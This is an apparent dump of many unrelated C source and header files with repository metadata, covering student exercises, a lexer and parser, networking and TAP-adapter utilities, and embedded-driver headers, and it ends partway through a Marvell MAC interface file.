2020-04-13T11:44:51
C
UTF-8
C
false
false
1,020
c
ft_isalnum.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_isalnum.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: hjeon <hjeon@student.42seoul.kr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/02/25 15:48:43 by hjeon #+# #+# */ /* Updated: 2020/02/26 08:20:09 by hjeon ### ########.fr */ /* */ /* ************************************************************************** */ #include "../libft.h" int ft_isalnum(int c) { if (ft_isalpha(c) || ft_isdigit(c)) return (TRUE); else return (FALSE); }
ff32767b213c68d5613631a6c406f648235b8c17
f01be269423465bbb764ae27ea15e958146f2cea
/include/kernel/mem/cache.h
c2d2e743b57af551e20f622a826c706675b8dbcd
[]
no_license
MyEyes/Nos-ARM
93a06712472f0ec97a0abe8b75654f6417b5fbf4
edf4004764c16975a4625c74f57329d433e9f9bb
refs/heads/master
2020-04-15T12:42:40.236653
2017-08-03T12:15:40
2017-08-03T12:15:40
65,037,269
4
0
null
null
null
null
UTF-8
C
false
false
165
h
cache.h
#ifndef __CACHE_H__ #define __CACHE_H__ #include <sys/types.h> void cache_TLB_flush(); void data_cache_clean(); void data_cache_clean_va(v_addr_t v_addr); #endif
e72dedf627b0ad83def9d3a660d23ddbcbb9bd50
75d546ac09be11dde6bdaa8d3217bd259e9a9556
/ch7_1061011/main.c
6e332fdc1f99372af9dcffecba66d590354c0784
[]
no_license
HowardCHT/C
b28a6de5c352c7a134f1fe94e64a1cdfcb5a924a
ae6984d5e5aad71b5fe86fecd685025a9cb412dd
refs/heads/master
2021-08-22T03:57:14.696727
2017-11-29T03:56:58
2017-11-29T03:56:58
null
0
0
null
null
null
null
UTF-8
C
false
false
1,326
c
main.c
#include"c.h" #include"stdafx.h" #include<stdio.h> #include<stdlib.h> void ex7_1(); void ex7_2(); void ex7_3(); void ex7_4(); void ex7_5(); void ex7_6(); void ex7_7(); void ex7_8(); void ex7_9(); void ex7_10(); void ex7_11(); int main() { int input; _Bool flag = 1; while (flag) { printf("1.#define 範例\n"); printf("2.指標變數\n"); printf("3.指標變數所佔的位元組\n"); printf("4.指標操作的練習\n"); printf("5.當指標指向錯誤的型態時\n"); printf("6.傳遞指標到函數\n"); printf("7.變數值的互換(位址不同,所以無互換)\n"); printf("8.變數值的互換\n"); printf("9.傳回多個數值的函數\n"); printf("10.陣列名稱的值即陣列的位址\n"); printf("11.指標存取陣列的內容\n"); printf("----------------------------------------------------\n\n"); printf("請輸入要執行的作業? 1 ~, 按'0' 則結束執行! "); scanf("%d", &input); switch (input) { case 1:ex7_1();break; case 2:ex7_2();break; case 3:ex7_3();break; case 4:ex7_4();break; case 5:ex7_5();break; case 6:ex7_6();break; case 7:ex7_7();break; case 8:ex7_8();break; case 9:ex7_9();break; case 10:ex7_10();break; case 11:ex7_11();break; case 0:flag = 0;break; default:break; } system("pause"); system("cls"); } }
a02b2c2665698cfefe2102bc13eba4381d523fd7
c62c5394604f5e72d2f6b2fb4d2369bfb5fca69c
/soft/rt3/application/app_storage.h
c454645c2eaa4e37dd4ae9304e93a607d63a4067
[]
no_license
zjhheihei/old_project
56ed4abe4a8a5caa08415e5a6048b3b3f604b6fd
627718ff9ac6dacef5f8a98e87bdd424469c420b
refs/heads/main
2023-03-25T05:14:09.100045
2021-03-09T07:58:34
2021-03-09T07:58:34
311,591,357
0
0
null
null
null
null
UTF-8
C
false
false
1,336
h
app_storage.h
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #ifndef _APP_STORAGE_H #define _APP_STORAGE_H //----------------------------------------------------------------------------- //------------------------------E N D------------------------------------------- //++++++++++++++++++++++++++++++start+++++++++++++++++++++++++++++++++++++++++++ //Function //名称: app_sto_eeprom_write //功能: 写入EEPROM的函数调用 //入口: 无 //出口: 无 void app_sto_eeprom_write(void); //------------------------------E N D------------------------------------------- //++++++++++++++++++++++++++++++start+++++++++++++++++++++++++++++++++++++++++++ //Init //名称: app_sto_eeprom_configure //功能: eeprom初始化,main函数前调用 //入口: 无 //出口: 无 void app_sto_eeprom_configure(void); //------------------------------E N D------------------------------------------- //++++++++++++++++++++++++++++++start+++++++++++++++++++++++++++++++++++++++++++ //Task //名称: app_sto_eeprom_scanTask //功能: eeprom执行延时写入扫描任务,定时调用 //入口: 无 //出口: 无 void app_sto_eeprom_scanTask(void); //------------------------------E N D------------------------------------------- #endif //--------------------------APP_Storage.h--END----------------------------------
d0e822ceb34b7c1435d6ff61e74c78c24c4cf29f
7d6640c5a9e86dbc8afc4fbd0e5cb9fc09c0c42d
/inc/FileMapping.h
e32d66fcb22d575aac8e6f7cfc7c40747f9ce221
[ "Apache-2.0" ]
permissive
Zeratal/SortedTable
1e80e2b8e98566d37e334a758aae09b9df0850f2
c0b956677145424f560402c40b1536f000233c4a
refs/heads/master
2021-01-12T07:18:27.897598
2016-07-13T18:57:41
2016-07-13T18:57:41
null
0
0
null
null
null
null
UTF-8
C
false
false
3,403
h
FileMapping.h
#ifndef __FILEMAPPING_H__ #define __FILEMAPPING_H__ #include <stdbool.h> #include <stdint.h> #include "ClassSimulator.h" #define LENGTH_OF_SHA1_STRING (40) #define LENGTH_OF_SHA1_BINARY (20) MEMBER_METHOD_DECLARE(FileMapping, Initialize, bool, const char* path, const char sha1[LENGTH_OF_SHA1_BINARY], uint32_t crc32, uint64_t size, bool readOnly, bool lockForWrite); MEMBER_METHOD_DECLARE(FileMapping, Ok, bool); MEMBER_METHOD_DECLARE(FileMapping, FdOk, bool); MEMBER_METHOD_DECLARE(FileMapping, MmOk, bool); MEMBER_METHOD_DECLARE(FileMapping, Sha1, const char*); MEMBER_METHOD_DECLARE(FileMapping, Crc32, uint32_t); MEMBER_METHOD_DECLARE(FileMapping, Size, uint64_t); STATIC_METHOD_DECLARE(FileMapping, CalculateSha1, void, const void* source, size_t size, char sum[LENGTH_OF_SHA1_BINARY]); STATIC_METHOD_DECLARE(FileMapping, CalculateCrc32, uint32_t, const char* source, size_t size); STATIC_METHOD_DECLARE(FileMapping, GetSize, bool, int fd, uint64_t* size); MEMBER_METHOD_DECLARE(FileMapping, StampSha1, bool); MEMBER_METHOD_DECLARE(FileMapping, StampCrc32, bool); MEMBER_METHOD_DECLARE(FileMapping, StampSize, bool); MEMBER_METHOD_DECLARE(FileMapping, CheckSha1, bool); MEMBER_METHOD_DECLARE(FileMapping, CheckCrc32, bool); MEMBER_METHOD_DECLARE(FileMapping, CheckSize, bool); MEMBER_METHOD_DECLARE(FileMapping, FileDescriptor, int); MEMBER_METHOD_DECLARE(FileMapping, MemoryMap, void*); MEMBER_METHOD_DECLARE(FileMapping, Write, bool, uint64_t offset, const void* fragment, uint64_t fragmentSize); MEMBER_METHOD_DECLARE(FileMapping, Read, bool, uint64_t offset, void* fragment, uint64_t* fragmentSize); MEMBER_METHOD_DECLARE(FileMapping, CanRead, bool); MEMBER_METHOD_DECLARE(FileMapping, LockForRead, bool); MEMBER_METHOD_DECLARE(FileMapping, LockForWrite, bool); MEMBER_METHOD_DECLARE(FileMapping, Unlock, bool); MEMBER_METHOD_DECLARE(FileMapping, Sync, bool); MEMBER_METHOD_DECLARE(FileMapping, Close, bool); CLASS(FileMapping) { MEMBER_METHOD_DEFINE(FileMapping, Initialize); MEMBER_METHOD_DEFINE(FileMapping, Ok); MEMBER_METHOD_DEFINE(FileMapping, FdOk); MEMBER_METHOD_DEFINE(FileMapping, MmOk); MEMBER_METHOD_DEFINE(FileMapping, Sha1); MEMBER_METHOD_DEFINE(FileMapping, Crc32); MEMBER_METHOD_DEFINE(FileMapping, Size); STATIC_METHOD_DEFINE(FileMapping, CalculateSha1); STATIC_METHOD_DEFINE(FileMapping, CalculateCrc32); STATIC_METHOD_DEFINE(FileMapping, GetSize); MEMBER_METHOD_DEFINE(FileMapping, StampSha1); MEMBER_METHOD_DEFINE(FileMapping, StampCrc32); MEMBER_METHOD_DEFINE(FileMapping, StampSize); MEMBER_METHOD_DEFINE(FileMapping, CheckSha1); MEMBER_METHOD_DEFINE(FileMapping, CheckCrc32); MEMBER_METHOD_DEFINE(FileMapping, CheckSize); MEMBER_METHOD_DEFINE(FileMapping, FileDescriptor); MEMBER_METHOD_DEFINE(FileMapping, MemoryMap); MEMBER_METHOD_DEFINE(FileMapping, Write); MEMBER_METHOD_DEFINE(FileMapping, Read); MEMBER_METHOD_DEFINE(FileMapping, CanRead); MEMBER_METHOD_DEFINE(FileMapping, LockForRead); MEMBER_METHOD_DEFINE(FileMapping, LockForWrite); MEMBER_METHOD_DEFINE(FileMapping, Unlock); MEMBER_METHOD_DEFINE(FileMapping, Sync); MEMBER_METHOD_DEFINE(FileMapping, Close); int fd; uint8_t sha1[LENGTH_OF_SHA1_BINARY]; uint32_t crc32; uint64_t size; bool readOnly; void* mm; }; #endif /* __FILEMAPPING_H__ */
03561a164f4215475f09e22e3812393501159809
46cf33252466b1b2561ff9be69fe2cd2257c774b
/type_checking.c
9b706691645cfaa8ae54dbece107a68307e9453d
[]
no_license
siyer696/Type-Checking-Compiler
cba039a5cf224eced04ca24717a0f9c6fb6135aa
b08e84f13035cae5fcbc5058f1ded96ad2ea06ec
refs/heads/master
2022-11-29T11:30:54.888185
2020-08-10T04:59:16
2020-08-10T04:59:16
286,378,794
0
0
null
null
null
null
UTF-8
C
false
false
6,497
c
type_checking.c
/* Subject : Compiler Design Course Project: Type Checking Participants: 16 - Prathamesh Dhawale(Gr. No. - 1710838) 23 - Praduemna Gore(Gr. No. - 1710365) 25 - Sachin Iyer(Gr. No. - 1710575) 49 - Ajit Niras(Gr. No. - 1710923) Problem Statement: To check the type of all the tokens in a given input string */ //importing basic C library #include<stdio.h> #include<ctype.h> #include<string.h> #include<stdlib.h> //Defining size, EOS, none #define SIZE 128 #define NONE -1 #define EOS '\0' /*defining tokens for numbers, keywords, ID, Done(completion), Max size*/ #define NUM 257 #define KEYWORD 258 #define ID 259 #define DONE 260 #define MAX 9999 //Initializing lexems, buffer, lastchar, lastentry, tokenval, lineno, lookahed //lexeme char array char lexemes[MAX]; //buffer of ip characters char buffer[SIZE]; // last char int lastchar=-1; //last viewed entry to view next entry fast int lastentry=0; //token val is set to done as default int tokenval=DONE; //current line no to denote in error int lineno=1; //next int lookahead; /*Making symbol table and Keyword table*/ struct entry { char *lexptr; //asd4345 77 int int token; //Identifier number KEYWORD } symtable[200]; struct entry keywords[]={"if",KEYWORD,"else",KEYWORD,"for",KEYWORD,"int",KEYWORD,"float",KEYWORD,"double",KEYWORD,"char",KEYWORD,"struct",KEYWORD,"return",KEYWORD,0,0}; /*Function to display error message with line no*/ void Error_Message(char *m) { fprintf(stderr,"line %d, %s \n",lineno,m); exit(1); } /*A lookup function to find entry into symbol table*/ int look_up(char s[ ]) { int k; for(k=lastentry;k>0;k--) if(strcmp(symtable[k].lexptr,s)==0) return k; return 0; } /* Inserting string into symbol table and lexem table Parameters: Inp string and token */ int insert(char s[ ],int tok) { int len; len=strlen(s); //To check if it exceeds limit if(lastentry+1>=MAX) Error_Message("Symbol table is full"); if(lastchar+len+1>=MAX) Error_Message("Lexemes array is full"); lastentry=lastentry+1; symtable[lastentry].token=tok; //saving the symbol in table and lexems symtable[lastentry].lexptr=&lexemes[lastchar+1]; lastchar=lastchar+len+1; strcpy(symtable[lastentry].lexptr,s); return lastentry; } /* void Initialize() { struct entry *ptr; for(ptr=keywords;ptr->token;ptr+1) insert(ptr->lexptr,ptr->token); }*/ /*lexer takes input one by one and returns done if done */ int lexer() { int t; int val,i=0; while(1) { //scanning char and ignoring spaces t=getchar(); if(t==' '||t=='\t'); else if(t=='\n') lineno=lineno+1; else if(isdigit(t)) { //checking if it is digit ungetc(t,stdin); scanf("%d",&tokenval); return NUM; } else if(isalpha(t)) { //asddf435454 //if it is alphanumeric , scanning all and adding it to buffer while(isalnum(t)) { buffer[i]=t; t=getchar(); i=i+1; if(i>=SIZE) Error_Message("Compiler error"); } buffer[i]=EOS; //If not eof, return it if(t!=EOF) ungetc(t,stdin); /*If not present add into table and return token*/ val=look_up(buffer); if(val==0) val=insert(buffer,ID); tokenval=val; return symtable[val].token; } else /*If end of filee, return done Else make tokenval NONE*/ if(t==EOF) return DONE; else { tokenval=NONE; return t; } } } //Matching the symbol and lookahead void Match(int t) { if(lookahead==t) lookahead=lexer(); else Error_Message("Syntax error"); } //Displaying the contents, Number, indentifier, operator, tokens with value void display(int t,int tval) { if(t=='+'||t=='-'||t=='*'||t=='/') printf("\nArithmetic Operator: %c",t); else if(t==NUM) printf("\n Number: %d",tval); else if(t==ID) printf("\n Identifier: %s",symtable[tval].lexptr); else printf("\n Token %d tokenval %d",t,tokenval); } /*Function to print and match them to respective tokens*/ void F() { void E(); switch(lookahead) { //if opening bracket, it will redirect to E and then finnally match closing bracket case '(' : Match('('); E(); Match(')'); break; case NUM : display(NUM,tokenval); Match(NUM); break; case ID : display(ID,tokenval); Match(ID); break; default : Error_Message("Syntax error"); } } //For * and / special fun void T() { int t; F(); while(1) { switch(lookahead) { case '*' : t=lookahead; Match(lookahead); F(); display(t,NONE); continue; case '/' : t=lookahead; Match(lookahead); display(t,NONE); continue; default : return; } } } //For addition and subraction void E() { int t; T(); while(1) { switch(lookahead) { case '+' : t=lookahead; Match(lookahead); T(); display(t,NONE); continue; case '-' : t=lookahead; Match(lookahead); T(); display(t,NONE); continue; default : return; } } } //Parser function to take input and match with corresponding tokens void parser() { //a + b lookahead=lexer(); while(lookahead!=DONE) { E(); Match(';'); } } //Main function int main() { // char ans[10]; //Initialize(); printf("\n Enter the expression "); printf("And place ; at the end\n"); printf("Press Ctrl-Z to terminate\n"); parser(); return 0; }
25245a5c9fd95e5dde352dc4fceea0a4ae4bb9f1
aec2c20ef80ca6a7588c3e1bd877f23ffeb65692
/Anul II/PC/lab08/lab8.c
d3b3cb2d7733270dbabbf19c1d1bb43b1a558958
[]
no_license
lavandalia/Teme-Poli-Calculatoare
15cf707515a6c9618444586d38ef1ddc9e9ecefc
317849ad19189480f91fa66ff003009d18f73aad
refs/heads/master
2020-05-16T21:23:23.235094
2017-05-21T22:15:40
2017-05-21T22:15:40
null
0
0
null
null
null
null
UTF-8
C
false
false
1,278
c
lab8.c
#include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <string.h> /* struct hostent { char *h_name; // official name of host char **h_aliases; // alias list int h_addrtype; // host address type int h_length; // length of address char **h_addr_list; // list of addresses from name server }; struct hostent* gethostbyname(const char *name); struct hostent *gethostbyaddr(const void *addr, socklen_t len, int type); */ int main (int argc, char **argv) { int i=0; if (argc < 3) { printf("Usage: ./lab8 -command host"); return 0; } struct hostent *x; if ( argv[1][1] == 'n') { x = gethostbyname (argv[2]); } if ( argv[1][1] == 'a') { struct in_addr A; inet_aton(argv[2], &A); x = gethostbyaddr((const void *)&A, sizeof(struct in_addr), AF_INET); } if (x == NULL) { printf ("Address not found!"); return 0; } printf("%s\n", x->h_name); printf("%d\n", x->h_addrtype); printf("%d\n", x->h_length); while (x->h_aliases[i] !=NULL ) { printf("%s\n", x->h_aliases[i]); i++; } i=0; struct in_addr **list = (struct in_addr **)x->h_addr_list; while (list[i] !=NULL) { printf("%s\n", inet_ntoa (*list[i])); i++; } return 0; }
28bab3e2e826033b94fc2cce7a20f05cc4322dab
ffd3fe624d481f87ff880c10c4c9329d0eba2149
/Flying witch/Common.h
63bf49b3dde362d699af282176297ea3e9b2a786
[]
no_license
jgferrer/flyingwitch
71dd3408537b76b17f4ca6c33bb2cb584676eb53
188e8ed400320cc8c86797eb60c05551ab1b319b
refs/heads/master
2020-04-13T15:23:43.408096
2014-06-22T17:22:48
2014-06-22T17:22:48
163,290,003
0
0
null
null
null
null
UTF-8
C
false
false
604
h
Common.h
// // Common.h // Flying witch // // Created by José Gabriel Ferrer on 17/06/14. // Copyright (c) 2014 José Gabriel Ferrer. All rights reserved. // #ifndef Flying_witch_Common_h #define Flying_witch_Common_h #define DEVICE_SIZE [[[[UIApplication sharedApplication] keyWindow] rootViewController].view convertRect:[[UIScreen mainScreen] bounds] fromView:nil].size static const uint32_t playerCategory = 0x1 << 0; static const uint32_t enemyCategory = 0x1 << 1; static const uint32_t starCategory = 0x1 << 2; static const uint32_t backgroundCategory = 0x1 << 3; #endif
a89cae41fca8af625191d51cc5c2e369b4fba989
feb65c145dcca1dc26555842bdff1537805fc527
/Misc Exercices/lab3/2.5/h.h
56dfcc1f213ec11512aa1765e74882326c761cb6
[ "Unlicense" ]
permissive
andi1356/C_Projects
7161268db29fdbc4d7deac0daf06909727a20602
a67f1349a02ad6d2293074dc21e00dce8258b7e2
refs/heads/main
2023-03-14T20:33:07.751062
2021-03-13T10:16:33
2021-03-13T10:16:33
333,746,733
0
0
null
null
null
null
UTF-8
C
false
false
61
h
h.h
#ifndef h_h_ #define h_h_ int f(int a); int g(int x); #endif
d6ac46a32b13503a1d725340303c41957ed2e657
bec5d52c5185d032b2b81eccd008aa8e4e045790
/tuntap/tapwin32-funcs.c
bd0f7dc1763da545213336c20f916fa35c26b2da
[ "BSD-3-Clause", "BSD-2-Clause" ]
permissive
shadowsocks/badvpn
2993b0da7c59870f0a550a842cabe3312761d541
40a0e5010aa4adb6d3ca1d1418dfde345c50107d
refs/heads/shadowsocks-android
2021-12-08T06:17:04.546977
2021-08-23T04:05:27
2021-08-23T04:05:27
45,686,048
166
154
NOASSERTION
2021-08-23T04:05:28
2015-11-06T14:18:20
C
UTF-8
C
false
false
7,255
c
tapwin32-funcs.c
/** * @file tapwin32-funcs.c * @author Ambroz Bizjak <ambrop7@gmail.com> * * @section LICENSE * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the author nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <stddef.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <misc/debug.h> #include <misc/ipaddr.h> #include <misc/maxalign.h> #include <misc/strdup.h> #include "wintap-common.h" #include <tuntap/tapwin32-funcs.h> static int split_spec (char *name, char *sep, char **out_fields[], int num_fields) { ASSERT(num_fields > 0) ASSERT(strlen(sep) > 0) size_t seplen = strlen(sep); int i = 0; while (i < num_fields - 1) { char *s = strstr(name, sep); if (!s) { DEBUG("missing separator number %d", (i + 1)); goto fail; } if (!(*out_fields[i] = b_strdup_bin(name, s - name))) { DEBUG("b_strdup_bin failed"); goto fail; } name = s + seplen; i++; } if (!(*out_fields[i] = b_strdup(name))) { DEBUG("b_strdup_bin failed"); goto fail; } return 1; fail: while (i-- > 0) { free(*out_fields[i]); } return 0; } int tapwin32_parse_tap_spec (char *name, char **out_component_id, char **out_human_name) { char **out_fields[2]; out_fields[0] = out_component_id; out_fields[1] = out_human_name; return split_spec(name, ":", out_fields, 2); } int tapwin32_parse_tun_spec (char *name, char **out_component_id, char **out_human_name, uint32_t out_addrs[3]) { char *addr_strs[3]; char **out_fields[5]; out_fields[0] = out_component_id; out_fields[1] = out_human_name; out_fields[2] = &addr_strs[0]; out_fields[3] = &addr_strs[1]; out_fields[4] = &addr_strs[2]; if (!split_spec(name, ":", out_fields, 5)) { goto fail0; } for (int i = 0; i < 3; i++) { if (!ipaddr_parse_ipv4_addr(MemRef_MakeCstr(addr_strs[i]), &out_addrs[i])) { goto fail1; } } free(addr_strs[0]); free(addr_strs[1]); free(addr_strs[2]); return 1; fail1: free(*out_component_id); free(*out_human_name); free(addr_strs[0]); free(addr_strs[1]); free(addr_strs[2]); fail0: return 0; } int tapwin32_find_device (char *device_component_id, char *device_name, char (*device_path)[TAPWIN32_MAX_REG_SIZE]) { // open adapter key // used to find all devices with the given ComponentId HKEY adapter_key; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &adapter_key) != ERROR_SUCCESS) { DEBUG("Error opening adapter key"); return 0; } char net_cfg_instance_id[TAPWIN32_MAX_REG_SIZE]; int found = 0; int pres; DWORD i; for (i = 0;; i++) { DWORD len; DWORD type; char key_name[TAPWIN32_MAX_REG_SIZE]; len = sizeof(key_name); if (RegEnumKeyEx(adapter_key, i, key_name, &len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) { break; } char unit_string[TAPWIN32_MAX_REG_SIZE]; pres = _snprintf(unit_string, sizeof(unit_string), "%s\\%s", ADAPTER_KEY, key_name); if (pres < 0 || pres == sizeof(unit_string)) { continue; } HKEY unit_key; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, unit_string, 0, KEY_READ, &unit_key) != ERROR_SUCCESS) { continue; } char component_id[TAPWIN32_MAX_REG_SIZE]; len = sizeof(component_id); if (RegQueryValueEx(unit_key, "ComponentId", NULL, &type, (LPBYTE)component_id, &len) != ERROR_SUCCESS || type != REG_SZ) { ASSERT_FORCE(RegCloseKey(unit_key) == ERROR_SUCCESS) continue; } len = sizeof(net_cfg_instance_id); if (RegQueryValueEx(unit_key, "NetCfgInstanceId", NULL, &type, (LPBYTE)net_cfg_instance_id, &len) != ERROR_SUCCESS || type != REG_SZ) { ASSERT_FORCE(RegCloseKey(unit_key) == ERROR_SUCCESS) continue; } RegCloseKey(unit_key); // check if ComponentId matches if (!strcmp(component_id, device_component_id)) { // if no name was given, use the first device with the given ComponentId if (!device_name) { found = 1; break; } // open connection key char conn_string[TAPWIN32_MAX_REG_SIZE]; pres = _snprintf(conn_string, sizeof(conn_string), "%s\\%s\\Connection", NETWORK_CONNECTIONS_KEY, net_cfg_instance_id); if (pres < 0 || pres == sizeof(conn_string)) { continue; } HKEY conn_key; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, conn_string, 0, KEY_READ, &conn_key) != ERROR_SUCCESS) { continue; } // read name char name[TAPWIN32_MAX_REG_SIZE]; len = sizeof(name); if (RegQueryValueEx(conn_key, "Name", NULL, &type, (LPBYTE)name, &len) != ERROR_SUCCESS || type != REG_SZ) { ASSERT_FORCE(RegCloseKey(conn_key) == ERROR_SUCCESS) continue; } ASSERT_FORCE(RegCloseKey(conn_key) == ERROR_SUCCESS) // check name if (!strcmp(name, device_name)) { found = 1; break; } } } ASSERT_FORCE(RegCloseKey(adapter_key) == ERROR_SUCCESS) if (!found) { return 0; } pres = _snprintf(*device_path, sizeof(*device_path), "\\\\.\\Global\\%s.tap", net_cfg_instance_id); if (pres < 0 || pres == sizeof(*device_path)) { return 0; } return 1; }
ea15459e55ce63aa9904b2dede09fc8c560f9f6f
ea4d391f01e6e8c427bc63b73933a59c5929b947
/finlib/optimizer.h
2b8ec285183322ac46792c26ddda22e4b3d1a3c5
[]
no_license
alhunor/projects
6091e53b621db610f9d0c65df73a884591b99ff0
dd626aa855fd7f176c882737ffcad5c527015e01
refs/heads/master
2021-04-15T19:01:21.857954
2019-03-19T13:19:21
2019-03-19T13:19:21
33,770,346
0
1
null
null
null
null
UTF-8
C
false
false
818
h
optimizer.h
#ifndef _OPIMIZER_H_ #define _OPIMIZER_H_ #include <gsl\gsl_vector.h> #include <gsl\gsl_matrix.h> #include "matrix.h" typedef double (*gslfuncptr)(double, void*); typedef int (*gslmultifuncptr)(const gsl_vector* , void*, gsl_vector* ); double gsl_rootFinder(gslfuncptr f, double lo, double hi, void* params, double tol=1e-6, int maxiter = 100); gsl_vector* gsl_multirootFinder(gslmultifuncptr f, int n, double* x0, void* params, double tol=1e-6, int maxiter = 500); HuMatrix<double> gsl_polyRoots(int n, double* coeffs); double gsl_polyIntegrator(double* fgrid, double *xgrid, int nPoints, int polyOrder); // not finished gsl_vector* gsl_multiLinearRegression(const gsl_matrix* X, const gsl_vector* f); gsl_vector* gsl_polyfit(const gsl_vector* x, const gsl_vector* f, int polyOrder); #endif
5965281784fa618fcb019ed08237a886e601eb42
067dfb43852ec6461620d1775ed7f36d4b7b9c43
/C13/ex07/btree_apply_by_level.c
8d9148316a2ed01f47427607ff815c23c3df30d0
[]
no_license
raphifou15/Je_refais_la_piscine
8d0b43f1445a946f4291fcdae6a65095f0e090af
dc390b4963cb680ccf845b0b1de8c992683698d9
refs/heads/master
2023-06-08T10:09:27.986812
2021-06-24T13:27:29
2021-06-24T13:27:29
278,120,237
3
0
null
null
null
null
UTF-8
C
false
false
1,910
c
btree_apply_by_level.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* btree_apply_by_level.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: rkhelif <rkhelif@student.42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/10/21 16:16:06 by rkhelif #+# #+# */ /* Updated: 2020/10/22 17:49:42 by rkhelif ### ########.fr */ /* */ /* ************************************************************************** */ #include "ft_btree.h" int btree_level_count(t_btree *root) { int left; int right; left = 0; right = 0; if (root == NULL) return (0); left = btree_level_count(root->left); right = btree_level_count(root->right); return (right > left) ? right + 1 : left + 1; } void btree_apply_by_level2(t_btree *root, int *current, int level, void (*applyf)(void *item, int current_level, int is_first_elem)) { if (level == 1) { applyf(root->item, current[0], current[1]); current[1] = 0; } if (level > 1) { if (root->left) btree_apply_by_level2(root->left, current, level - 1, applyf); if (root->right) btree_apply_by_level2(root->right, current, level - 1, applyf); } } void btree_apply_by_level(t_btree *root, void (*applyf)(void *item, int current_level, int is_first_elem)) { int count; int tab[2]; int i; i = 0; if (root == NULL) return ; count = btree_level_count(root); while (i < count) { tab[0] = i; tab[1] = 1; btree_apply_by_level2(root, tab, ++i, applyf); } }
b920a588936166756dcfa2c1f648de7006a927c1
68b03e61d380ceaf006fbd984d33707a59330d77
/third_party/include/tensorflow/external/local_config_cuda/cuda/cuda/include/curand_discrete2.h
3c9fa1c0dfaf059d8e5629c1fe507368ad247278
[]
no_license
ishine/TensorflowModelDecoder
833a5b81f6e0e1171cc8841b00d73788a5fb163c
df25fa455aa2a58217002f78e772ebe99ed45952
refs/heads/master
2020-08-02T16:58:57.094418
2017-11-22T06:57:10
2017-11-22T06:57:10
null
0
0
null
null
null
null
UTF-8
C
false
false
46
h
curand_discrete2.h
/usr/local/cuda-8.0/include/curand_discrete2.h
1c69e23c27c17a2c07b608e6c64d9199740c382e
21ee8974692521fb81ed03c1d1a338967526be2a
/cpss-ac3/cpss/common/src/cpss/common/labServices/port/gop/src/port/mac/xlgMac/mvHwsXlgMacRev2If.c
0a029b7e77a236798d77369ed7506cb51d348d6d
[]
no_license
naivekun/os6360_trtest
bb1fb2de94f951b190c6eefb0fe9908feab553c4
2c49bfd3028ee72e27b8107fbc5ab528dfc289dd
refs/heads/main
2023-06-18T03:55:46.904657
2021-07-08T03:29:15
2021-07-08T03:29:15
null
0
0
null
null
null
null
UTF-8
C
false
false
6,089
c
mvHwsXlgMacRev2If.c
/******************************************************************************* * (c), Copyright 2001, Marvell International Ltd. * * THIS CODE CONTAINS CONFIDENTIAL INFORMATION OF MARVELL SEMICONDUCTOR, INC. * * NO RIGHTS ARE GRANTED HEREIN UNDER ANY PATENT, MASK WORK RIGHT OR COPYRIGHT * * OF MARVELL OR ANY THIRD PARTY. MARVELL RESERVES THE RIGHT AT ITS SOLE * * DISCRETION TO REQUEST THAT THIS CODE BE IMMEDIATELY RETURNED TO MARVELL. * * THIS CODE IS PROVIDED "AS IS". MARVELL MAKES NO WARRANTIES, EXPRESSED, * * IMPLIED OR OTHERWISE, REGARDING ITS ACCURACY, COMPLETENESS OR PERFORMANCE. * ******************************************************************************** */ /** * mvHwsXglMacRev2If.c * * DESCRIPTION: * XGL MAC revision 2 interface (for puma3) * * FILE REVISION NUMBER: * $Revision: 9 $ * *******************************************************************************/ #include <cpss/common/labServices/port/gop/common/siliconIf/mvSiliconIf.h> #include <cpss/common/labServices/port/gop/common/siliconIf/siliconAddress.h> #include <cpss/common/labServices/port/gop/port/mac/xlgMac/mvHwsXlgMacRev2If.h> #include <cpss/common/labServices/port/gop/port/mac/xlgMac/mvHwsXlgMacDb.h> #include <cpss/common/labServices/port/gop/port/private/mvPortModeElements.h> static char* mvHwsMacTypeGet(void) { return "XLGMAC_Rev2"; } /** * @internal hwsXlgMacRev2IfInit function * @endinternal * * @brief Init XLG MAC configuration sequences and IF functions. * * @retval 0 - on success * @retval 1 - on error */ GT_STATUS hwsXlgMacRev2IfInit(MV_HWS_MAC_FUNC_PTRS *funcPtrArray) { funcPtrArray[XLGMAC].macRestFunc = mvHwsXlgMacReset; funcPtrArray[XLGMAC].macLinkGetFunc = mvHwsXlgMacLinkStatus; funcPtrArray[XLGMAC].macLbCfgFunc = 